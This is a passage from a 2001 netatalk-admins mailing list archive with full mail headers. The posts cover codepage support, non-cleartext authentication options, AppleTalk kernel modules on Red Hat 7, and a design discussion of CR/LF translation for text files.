The codepage support still seems to be broken in 1.5pre3 (interestingly,
it complains if it can't find the nls directory, so it _is_ looking for
the codepage . . . but somehow it doesn't get applied). The mswindows
option does work, though, in that I can't rename folders so as to
contain ???, for instance. I am using netatalk-1.4b2+asun2.1.3 with a SuSE
specific patch, where the codepage support works, but where I don't have
the mswindows option. I am wondering, does anyone have a patch to
include the mswindows option into this version?

Cheers, Frank

From netatalk.administrators-errors@umich.edu  Sun Feb 11 19:14:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA20381
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Feb 2001 19:14:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA04628
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Feb 2001 19:14:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA04607
	for netatalk.administrators-members@umich.edu; Sun, 11 Feb 2001 19:14:28 -0500 (EST)
Received: from shaggie.dhs.org (ffaxvahe3-5-123.cox.rr.com [24.28.208.123])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA04535
	for <netatalk-admins@umich.edu>; Sun, 11 Feb 2001 19:14:25 -0500 (EST)
Received: from [192.168.111.5] ([192.168.111.5])
	by shaggie.dhs.org (8.11.1/8.11.1) with ESMTP id f1C0C2901486
	for <netatalk-admins@umich.edu>; Sun, 11 Feb 2001 19:12:04 -0500 (EST)
	(envelope-from scoobie@shaggie.dhs.org)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 11 Feb 2001 19:14:21 -0500
Subject: password encryption?
From: Scoobie Doobie Doo <scoobie@shaggie.dhs.org>
To: <netatalk-admins@umich.edu>
Message-ID: <B6AC950D.66%scoobie@shaggie.dhs.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Does anyone know if there exists an option to enable password encryption in
netatalk?

If not is there a development effort to hack such a thing in?

sending all those passwords in the clear is a BAD, BAD thing.

-Scoobie :-)


From netatalk.administrators-errors@umich.edu  Sun Feb 11 19:32:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA21305
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Feb 2001 19:32:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09881
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Feb 2001 19:32:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA09873
	for netatalk.administrators-members@umich.edu; Sun, 11 Feb 2001 19:32:02 -0500 (EST)
Received: from bofh.concordia.ca (bofh.Concordia.CA [132.205.120.71])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA09861
	for <netatalk-admins@umich.edu>; Sun, 11 Feb 2001 19:32:01 -0500 (EST)
Received: from rich by bofh.concordia.ca with local (Exim 3.03 #1)
	id 14S6yN-00006p-00
	for netatalk-admins@umich.edu; Sun, 11 Feb 2001 19:36:07 -0500
Date: Sun, 11 Feb 2001 19:36:07 -0500
From: Rich Lafferty <rich@alcor.concordia.ca>
To: netatalk-admins@umich.edu
Subject: Re: password encryption?
Message-ID: <20010211193607.A336@alcor.concordia.ca>
Mail-Followup-To: netatalk-admins@umich.edu
References: <B6AC950D.66%scoobie@shaggie.dhs.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i
In-Reply-To: <B6AC950D.66%scoobie@shaggie.dhs.org>; from scoobie@shaggie.dhs.org on Sun, Feb 11, 2001 at 07:14:21PM -0500
X-Disclaimer: I speak for me, not Concordia.
X-PGP-Key: finger rich@alcor.concordia.ca
X-PGP-Fingerprint: finger rich@vax2.concordia.ca
Sender: Rich Lafferty <rich@bofh.concordia.ca>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA21305

On Sun, Feb 11, 2001 at 07:14:21PM -0500, Scoobie Doobie Doo (scoobie@shaggie.dhs.org) wrote:
> Does anyone know if there exists an option to enable password encryption in
> netatalk?
> 
> If not is there a development effort to hack such a thing in?
> 
> sending all those passwords in the clear is a BAD, BAD thing.

Sure, and I'm positive it's documented, since I know I found it right
away. The always-works non-cleartext authentication is 'randnum' and
'rand2num', which means storing the password in cleartext on the
server, and uses a challenge-and-response authentication mechanism
that never sends the password over the wire.

There's also DHX, which you'll find discussed heavily in the list
archives. It requires certain versions of MacOS, but is able to use
the password in the password file. I'm not sure how it works
technically because I've had no initiative to move to it from randnum
here.

  -Rich

-- 
------------------------------ Rich Lafferty ---------------------------
 Sysadmin/Programmer, Instructional and Information Technology Services
   Concordia University, Montreal, QC                 (514) 848-7625
------------------------- rich@alcor.concordia.ca ----------------------

From netatalk.administrators-errors@umich.edu  Sun Feb 11 19:40:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA21490
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 11 Feb 2001 19:40:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA26464
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 11 Feb 2001 19:40:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA26451
	for netatalk.administrators-members@umich.edu; Sun, 11 Feb 2001 19:40:04 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA26341
	for <netatalk-admins@umich.edu>; Sun, 11 Feb 2001 19:39:57 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id LAA07769;
	Mon, 12 Feb 2001 11:39:57 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3A8731E5.B4C469FA@arts.usyd.edu.au>
Date: Mon, 12 Feb 2001 11:44:21 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: paul beard <pkdbeard@yahoo.com>, netatalk-admins@umich.edu
Subject: Re: What if 'add "alias net-pf-5 appletalk" '  doesn't work?
References: <20010207234448.11514.qmail@web3406.mail.yahoo.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms73DBC843A84E45BA80051181"

This is a cryptographically signed message in MIME format.

--------------ms73DBC843A84E45BA80051181
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

paul beard wrote:
> 
> If anyone has any insight on this problem, I'd like to hear it, but please only
> if you've actually read my earlier post and understand that I am running Redhat
> 7 (ie,  the conf.modules file has been renamed to modules.conf  and I'm not
> sure the syntax is right anymore), that I want to know how to make pure DDP
> appletalk work, ie. non-tcp and with servers appearing in the Chooser.
> 

 The modules.conf is just conf.modules renamed.

 However putting in the 'alias' line isnt going to work if the AppleTalk
module was never compiled/installed in the first place.
 See if there is an appletalk.o modules in the appropiate place under
/lib/modules/. It is possible that since RH don't install netatalk they
now also don't install the appletalk module.

 I am running AppleTalk on RH7 boxen, but I have in each case compiled
my own 2.4 kernel for them and made sure that the AppleTalk module is
built and installed.

-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms73DBC843A84E45BA80051181
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMjEyMDA0NDIzWjAjBgkq
hkiG9w0BCQQxFgQUuuKNCb8e+L31t4BI2RBjkMdFuBwwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYAkFs0QWd132qjiJp/gA7tXsbHyjUxA74q+7ghAh9aUoIcnejMGPt7o8X+nVpoLoYLeqOCR
Q/tME6hTJGRlg3mt59CGF8JemmAqX3t3J0+bPGnZq+wFY0X68Yel3hnU8i4pgJ0GjRi4vuwL
CporFlIR+1puWeyS2lORiB3N7/flbQ==
--------------ms73DBC843A84E45BA80051181--


From netatalk.administrators-errors@umich.edu  Mon Feb 12 03:58:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA03605
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Feb 2001 03:58:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA14608
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Feb 2001 03:58:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA14596
	for netatalk.administrators-members@umich.edu; Mon, 12 Feb 2001 03:58:20 -0500 (EST)
Received: from mail.prz.tu-berlin.de (mail.prz.tu-berlin.de [130.149.232.72])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA14580
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 03:58:18 -0500 (EST)
Received: from gondor.prz.tuberlin.de (gondor.prz.tu-berlin.de [130.149.62.68])
	by mail.prz.tu-berlin.de (8.9.3/8.9.3) with SMTP id JAA08075
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 09:54:50 +0100 (MET)
Message-ID: <010701c094c9$49f7fc60$443e9582@prz.tuberlin.de>
From: "Roy Mahfouz" <omar@prz.tu-berlin.de>
To: <netatalk-admins@umich.edu>
Subject: unsuscribe
Date: Mon, 12 Feb 2001 08:56:20 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

unsuscribe me please.
thanx



From netatalk.administrators-errors@umich.edu  Mon Feb 12 11:18:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13479
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Feb 2001 11:18:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02060
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Feb 2001 11:18:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02028
	for netatalk.administrators-members@umich.edu; Mon, 12 Feb 2001 11:18:07 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA01960
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 11:18:05 -0500 (EST)
Received: (qmail 1270 invoked by uid 500); 12 Feb 2001 16:18:03 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14984.3259.732149.27775@h0050da615e79.ne.mediaone.net>
Date: Mon, 12 Feb 2001 11:18:03 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Cc: netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again... 
In-Reply-To: <5.0.2.1.0.20010210192845.00a569a0@127.0.0.1>
References: <Your message of "Sat, 10 Feb 2001 01:07:09 CST.">
	<5.0.2.1.0.20010210192845.00a569a0@127.0.0.1>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
   Date: Sat, 10 Feb 2001 19:43:36 -0800

   At 10:18 AM 2/10/01 +0000, Duncan Sinclair wrote:
   >You know a file is text by two indicators:
   >   1) Its file type is TEXT.
   >   2) It has an extension which tells netatalk it is text.
   >
   >These two indicators cover files created by Macs and files created
   >by Unix, repectively.

   Okay, I agree with the former, but the latter is a little more
   complicated.  String compares are slow.  For each file copied, the
   name has to be checked against the following list (and this is just
   off the top of my head) . . .

If necessary, this table lookup could be hashed for speed (if it isn't
already).  But I would be very surprised to learn that the speed
difference was even measurable, compared to the other overhead of
opening & serving a file.  String compares aren't *that* slow.  And
since this lookup only applies for files created by Unix (or Samba),
it's even less of an issue.

   . . . I've observed that most Unix and Mac people don't use file
   extensions at all.

I beg to differ; who else but a Unix person would think of compound
extensions like .tar.gz, or .i386.rpm ?  And could you imagine `make'
without extensions?

   The scripts in /etc/rc.d/init.d on Red Hat systems don't have
   extensions, yet they're all text.

They are scripts, actually, which conventionally have no extension.
(Except for the odd ".sh" or ".csh" script, but then you have to type
the extension at the shell prompt, which is probably why using an
explicit extension isn't popular.)

   . . . File extensions were introduced through DOS, really . . .

;-}  Next thing you know, you'll be suggesting that Bill Gates invented
GUIs and the Internet . . .

   Until the early 80's, IIRC, file systems almost universally required
extensions; Unix was the (then) rare exception in that it didn't parse
"." specially.  Then the Mac (actually, the Apple Lisa) changed
everything . . .

   Thanks in advance for being a good sport,

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Mon Feb 12 11:50:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14775
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Feb 2001 11:50:23 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25834
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Feb 2001 11:50:23 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25812
	for netatalk.administrators-members@umich.edu; Mon, 12 Feb 2001 11:50:22 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA25773
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 11:50:21 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f1CGlpN21359;
	Mon, 12 Feb 2001 11:47:52 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A881366.562B300D@mail.iowna.com>
Date: Mon, 12 Feb 2001 11:46:30 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
CC: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>, netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again...
References: <Your message of "Sat, 10 Feb 2001 01:07:09 CST.">
		<5.0.2.1.0.20010210192845.00a569a0@127.0.0.1> <14984.3259.732149.27775@h0050da615e79.ne.mediaone.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Bob Rogers wrote:

> ;-}  Next thing you know, you'll be suggesting that Bill Gates invented
> GUIs and the Internet . . .

I thought it was Al Gore who did that?

From netatalk.administrators-errors@umich.edu  Mon Feb 12 12:42:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA16970
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Feb 2001 12:42:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27206
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Feb 2001 12:42:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27167
	for netatalk.administrators-members@umich.edu; Mon, 12 Feb 2001 12:42:10 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA27132
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 12:42:09 -0500 (EST)
Received: (qmail 1418 invoked by uid 500); 12 Feb 2001 17:42:07 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14984.8303.151462.293171@h0050da615e79.ne.mediaone.net>
Date: Mon, 12 Feb 2001 12:42:07 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>
Cc: netatalk-admins@umich.edu
Subject: How to fix CRLF stuff...
In-Reply-To: <26719.981824926@dis.strath.ac.uk>
References: <26719.981824926@dis.strath.ac.uk>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Duncan Sinclair <sinclair@dis.strath.ac.uk>
   Date: Sat, 10 Feb 2001 17:08:46 +0000

   . . .

   As an additional safeguard, it may be wise to be able to mark files
   which have had the cr/lf transformation done to them so that when
   they are sent back to the Mac there is no chance of them being
   messed up.  In fact, this could be done without my proposed changes
   above.  Peter DiCamillo made a similar suggestion previously, and I
   thank him for bringing it to my attention last week . . .

   On the unix side there is a clear indication that the file has had this
   transformation - a nice bonus.  Unix-created files would continue to
   use the file extension to determine whether the file is text and want
   transformed when served.

I think the basic idea -- an explicit indicator -- is terrific.  It also
has the advantage of being robust with respect to AppleVolumes.system
changes, since afpd makes the decision once, and remembers what it
decided.

   If for some reason the sticky bit was unavailable for use in this
   fashion, berhaps a spare bit could be found inside the appledouble
   info - but this wouldn't be as efficient.

Since the original motivation was to make Mac files usable to Unix
apps/users, using the sticky bit seems like asking for trouble.  If the
files are only accessed from Macs via shares, then you can guarantee
that no Unix apps will misinterpret or change their sticky bits.  But in
the general case, it seems safer to use the .AppleDouble file . . .

   Some points in that vein:

   1.  If some other Unix app were to edit the file, would it preserve
"+t"?  (emacs 20.7 does, btw.)  How about some random Windows app (via
Samba)?

   2.  Also, if some other bit were used on a different netatalk port
due to system constraints, then you wouldn't be able to move shares
between the two systems via Unix means (e.g. dump/restore, tar).

   3.  There is also a compatibility issue here.  After installing a
hypothetical new version of netatalk that uses this explicit
transformation indication, there will be transformed files without the
sticky bit, and possibly untransformed "+t" files.  (Does Samba use +t?)
So, as a postinstallation step, it seems to me that you would need to do
the following:

	if CR<->LF transformation is enabled,
	    for each .AppleDouble file,
		if a text file,
		    mark as transformed (assuming it already had been)

This is the same marking operation as when a newly Unix-created file is
first seen by afpd, and could be as simple as "chmod +t" . . . but
somehow it feels safer to me to keep it in the .AppleDouble file . . .

   4.  Also, how does this interact with the "noadouble" feature?  It
seems to me that if "lazy" .AppleDouble creation is enabled, then the
server would always have to create an .AppleDouble file for text files,
just to tell itself in the future that the "+t" bit is significant.
[Caveat:  I couldn't find the documentation for "noadouble", after a
casual search, so I may have misremembered something.]

   Either the un-necessary transformation should be avoided, or else when
   the type of a file is changed, a transformation should be done, if
   needed.

In addition to automatic transformation, it would be good to have a Unix
utility, call it afpd-xlate-crlf, that can do the transformation and
update the appropriate bit on demand.  That would help for the ambiguous
and/or misleading cases (as long as the daemon continues to obey the
bit, regardless of what the file type says).

   But, to be safe, such a program should do file locking to avoid
corruption, since it has to update both the data and the bit.  Which
makes it seem a bit like your proposed helper app.  Maybe afpd should
spawn afpd-xlate-crlf to do these translations on the side?  The locking
should give you all the serialization you need (as long as you avoid
race conditions between afpd and afpd-xlate-crlf).  But if you do
translate asynchronously, you still have the problem that you can't
return an error to the client if afpd-xlate-crlf fails.  And maybe,
after all is said and done, translation isn't such a big job that it's
worth the overhead of forking a new process . . .

   My $0.02 (or probably less, seeing as I have no code . . . ;-)

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Mon Feb 12 13:17:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18904
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Feb 2001 13:17:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA15243
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Feb 2001 13:17:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA15236
	for netatalk.administrators-members@umich.edu; Mon, 12 Feb 2001 13:17:08 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA15189
	for <netatalk-admins@umich.edu>; Mon, 12 Feb 2001 13:17:06 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f1CIH0Z12519;
	Mon, 12 Feb 2001 18:17:05 GMT
To: netatalk-admins@umich.edu
cc: rogers-netatalk@rgrjr.dyndns.org,
        "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: CRLF fun stuff again...
Newsgroups: dis.lists.netatalk-admins
References: <5.0.2.1.0.20010210192845.00a569a0@127.0.0.1> <m2n.11071.14984.3259.732149.27775@h0050da615e79.ne.mediaone.net>
Reply-To: sinclair@dis.strath.ac.uk
Date: Mon, 12 Feb 2001 18:17:00 +0000
Message-ID: <12516.982001820@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>


Bob Rodgers writes:
>   From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
>   Date: Sat, 10 Feb 2001 19:43:36 -0800

>   Okay, I agree with the former, but the latter is a little more
>   complicated.  String compares are slow.  For each file copied, the
>   name has to be checked against the following list (and this is just
>   off the top of my head) . . .

>If necessary, this table lookup could be hashed for speed (if it isn't
>already).  But I would be very surprised to learn that the speed
>difference was even measurable, compared to the other overhead of
>opening & serving a file.  String compares aren't *that* slow.  And
>since this lookup only applies for files created by Unix (or Samba),
>it's even less of an issue.

Plus the fact that the Mac (via File Exchange) does a similar extension
scan on file types it doesn't recognise...  I haven't heard anyone
complain that File Exchange slowed down their Mac or was a waste of
time.

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Mon Feb 12 17:01:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA26408
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Feb 2001 17:01:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA14094
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Feb 2001 17:01:05 -0500 (EST)
